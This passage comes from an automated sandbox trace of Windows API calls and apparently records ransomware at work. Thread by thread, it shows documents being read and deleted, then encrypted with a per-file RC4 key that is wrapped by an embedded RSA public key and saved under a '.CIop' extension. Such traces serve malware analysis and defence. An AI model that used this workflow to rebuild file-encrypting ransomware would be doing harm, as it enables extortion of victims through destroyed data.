MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.889] lstrcpyW (in: lpString1=0x2f0f368, lpString2="oGyow62Ehp.pdf" | out: lpString1="oGyow62Ehp.pdf") returned="oGyow62Ehp.pdf" [0092.889] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.889] SetErrorMode (uMode=0x1) returned 0x1 [0092.889] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\oGyow62Ehp.pdf") returned 89 [0092.889] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\oGyow62Ehp.pdf", dwFileAttributes=0x20) returned 1 [0092.889] StrStrW (lpFirst="oGyow62Ehp.pdf", lpSrch=".CIop") returned 0x0 [0092.889] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\oGyow62Ehp.pdf.CIop") returned 94 [0092.889] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\oGyow62Ehp.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\ogyow62ehp.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x478 [0092.890] ReadFile (in: hFile=0x478, lpBuffer=0x636ce0, nNumberOfBytesToRead=0x3d79, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesRead=0x2f0e5e8*=0x3d79, lpOverlapped=0x0) returned 1 [0092.891] CloseHandle (hObject=0x478) returned 1 [0092.891] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\oGyow62Ehp.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\ogyow62ehp.pdf")) returned 1 [0092.892] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0092.892] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0092.892] SetErrorMode (uMode=0x1) returned 0x1 [0092.892] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x62dee8) returned 1 [0092.895] CryptGenKey (in: hProv=0x62dee8, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3310) returned 1 [0092.929] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0092.929] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0092.929] CryptDestroyKey (hKey=0x5c3310) returned 1 [0092.929] CryptReleaseContext (hProv=0x62dee8, dwFlags=0x0) returned 1 [0092.929] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\oGyow62Ehp.pdf.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\ogyow62ehp.pdf.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480 [0092.929] WriteFile (in: hFile=0x480, lpBuffer=0x636ce0*, nNumberOfBytesToWrite=0x3d79, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x3d79, lpOverlapped=0x0) returned 1 [0092.930] SetFilePointer (in: hFile=0x480, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3d79 [0092.930] WriteFile (in: hFile=0x480, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0092.930] SetFilePointer (in: hFile=0x480, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3d80 [0092.930] SetErrorMode (uMode=0x1) returned 0x1 [0092.930] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0092.930] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0092.930] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0092.930] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x62dee8) returned 1 [0092.931] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62dee8, dwCertEncodingType=0x1, pInfo=0x681b60, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c3410) returned 1 [0092.931] CryptEncrypt (in: hKey=0x5c3410, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0092.931] CryptEncrypt (in: hKey=0x5c3410, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62cf80*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62cf80*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0092.931] WriteFile (in: hFile=0x480, lpBuffer=0x62cf80*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62cf80*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0092.931] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.931] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.931] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.932] CloseHandle (hObject=0x480) returned 1 [0092.932] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\oGyow62Ehp.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\ogyow62ehp.pdf")) returned 0 Thread: id = 89 os_tid = 0x90c [0092.933] lstrcpyA (in: lpString1=0x306e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.933] lstrcpyW (in: lpString1=0x306f368, lpString2="Q0WDNI_cEJvL.pdf" | out: lpString1="Q0WDNI_cEJvL.pdf") returned="Q0WDNI_cEJvL.pdf" [0092.933] lstrcpyW (in: lpString1=0x306f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.933] SetErrorMode (uMode=0x1) returned 0x1 [0092.933] wsprintfW (in: param_1=0x306eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\Q0WDNI_cEJvL.pdf") returned 91 [0092.933] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\Q0WDNI_cEJvL.pdf", dwFileAttributes=0x20) returned 1 [0092.933] StrStrW (lpFirst="Q0WDNI_cEJvL.pdf", lpSrch=".CIop") returned 0x0 [0092.933] wsprintfW (in: param_1=0x306e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\Q0WDNI_cEJvL.pdf.CIop") returned 96 [0092.933] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\Q0WDNI_cEJvL.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\q0wdni_cejvl.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x474 [0092.934] ReadFile (in: hFile=0x474, lpBuffer=0x636ce0, nNumberOfBytesToRead=0xe2f1, lpNumberOfBytesRead=0x306e5e8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesRead=0x306e5e8*=0xe2f1, lpOverlapped=0x0) returned 1 [0092.935] CloseHandle (hObject=0x474) returned 1 [0092.935] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\Q0WDNI_cEJvL.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\q0wdni_cejvl.pdf")) returned 1 [0092.938] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0092.938] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0092.938] SetErrorMode (uMode=0x1) returned 0x1 [0092.938] CryptAcquireContextW (in: phProv=0x306e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x306e5b8*=0x62cef8) returned 1 [0092.940] CryptGenKey (in: hProv=0x62cef8, Algid=0x1, dwFlags=0x4000, phKey=0x306e5bc | out: phKey=0x306e5bc*=0x5c3310) returned 1 [0092.965] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x306e5ec | out: pbData=0x0*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0092.966] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x306e5ec | out: pbData=0x2de0000*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0092.966] CryptDestroyKey (hKey=0x5c3310) returned 1 [0092.966] CryptReleaseContext (hProv=0x62cef8, dwFlags=0x0) returned 1 [0092.966] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\Q0WDNI_cEJvL.pdf.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\q0wdni_cejvl.pdf.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c [0092.967] WriteFile (in: hFile=0x47c, lpBuffer=0x636ce0*, nNumberOfBytesToWrite=0xe2f1, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesWritten=0x306e5d8*=0xe2f1, lpOverlapped=0x0) returned 1 [0092.969] SetFilePointer (in: hFile=0x47c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2f1 [0092.969] WriteFile (in: hFile=0x47c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x306e5d8*=0x7, lpOverlapped=0x0) returned 1 [0092.969] SetFilePointer (in: hFile=0x47c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2f8 [0092.969] SetErrorMode (uMode=0x1) returned 0x1 [0092.969] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0092.969] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0092.969] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x306d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598 | out: pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598) returned 1 [0092.969] CryptAcquireContextW (in: phProv=0x306d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x306d5a8*=0x62cef8) returned 1 [0092.969] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62cef8, dwCertEncodingType=0x1, pInfo=0x682110, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x306d5b0 | out: phKey=0x306d5b0*=0x5c3350) returned 1 [0092.970] CryptEncrypt (in: hKey=0x5c3350, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x306d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x306d5b4*=0x80) returned 1 [0092.970] CryptEncrypt (in: hKey=0x5c3350, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62d090*, pdwDataLen=0x306d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62d090*, pdwDataLen=0x306d5a4*=0x80) returned 1 [0092.970] WriteFile (in: hFile=0x47c, lpBuffer=0x62d090*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62d090*, lpNumberOfBytesWritten=0x306e5d8*=0x80, lpOverlapped=0x0) returned 1 [0092.970] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.971] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.971] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.971] CloseHandle (hObject=0x47c) returned 1 [0092.973] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\Q0WDNI_cEJvL.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\q0wdni_cejvl.pdf")) returned 0 Thread: id = 90 os_tid = 0xad8 [0092.950] lstrcpyA (in: lpString1=0x31ae5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.950] lstrcpyW (in: lpString1=0x31af368, lpString2="tpkoPGhxV.xls" | out: lpString1="tpkoPGhxV.xls") returned="tpkoPGhxV.xls" [0092.950] lstrcpyW (in: lpString1=0x31af768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.950] SetErrorMode (uMode=0x1) returned 0x1 [0092.950] wsprintfW (in: param_1=0x31aeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\tpkoPGhxV.xls") returned 88 [0092.950] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\tpkoPGhxV.xls", dwFileAttributes=0x20) returned 1 [0092.951] StrStrW (lpFirst="tpkoPGhxV.xls", lpSrch=".CIop") returned 0x0 [0092.951] wsprintfW (in: param_1=0x31ae758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\tpkoPGhxV.xls.CIop") returned 93 [0092.951] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\tpkoPGhxV.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\tpkopghxv.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c [0092.951] ReadFile (in: hFile=0x47c, lpBuffer=0x644fe0, nNumberOfBytesToRead=0x4259, lpNumberOfBytesRead=0x31ae5e8, lpOverlapped=0x0 | out: lpBuffer=0x644fe0*, lpNumberOfBytesRead=0x31ae5e8*=0x4259, lpOverlapped=0x0) returned 1 [0092.952] CloseHandle (hObject=0x47c) returned 1 [0092.952] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\tpkoPGhxV.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\tpkopghxv.xls")) returned 1 [0092.973] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0092.973] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0092.973] SetErrorMode (uMode=0x1) returned 0x1 [0092.973] CryptAcquireContextW (in: phProv=0x31ae5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x31ae5b8*=0x62d118) returned 1 [0092.976] CryptGenKey (in: hProv=0x62d118, Algid=0x1, dwFlags=0x4000, phKey=0x31ae5bc | out: phKey=0x31ae5bc*=0x5c3310) returned 1 [0092.992] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x31ae5ec | out: pbData=0x0*, pdwDataLen=0x31ae5ec*=0x94) returned 1 [0092.992] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x31ae5ec | out: pbData=0x2de0000*, pdwDataLen=0x31ae5ec*=0x94) returned 1 [0092.992] CryptDestroyKey (hKey=0x5c3310) returned 1 [0092.992] CryptReleaseContext (hProv=0x62d118, dwFlags=0x0) returned 1 [0092.992] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\tpkoPGhxV.xls.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\tpkopghxv.xls.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480 [0092.993] WriteFile (in: hFile=0x480, lpBuffer=0x644fe0*, nNumberOfBytesToWrite=0x4259, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x644fe0*, lpNumberOfBytesWritten=0x31ae5d8*=0x4259, lpOverlapped=0x0) returned 1 [0092.993] SetFilePointer (in: hFile=0x480, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4259 [0092.993] WriteFile (in: hFile=0x480, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x31ae5d8*=0x7, lpOverlapped=0x0) returned 1 [0092.994] SetFilePointer (in: hFile=0x480, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4260 [0092.994] SetErrorMode (uMode=0x1) returned 0x1 [0092.994] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 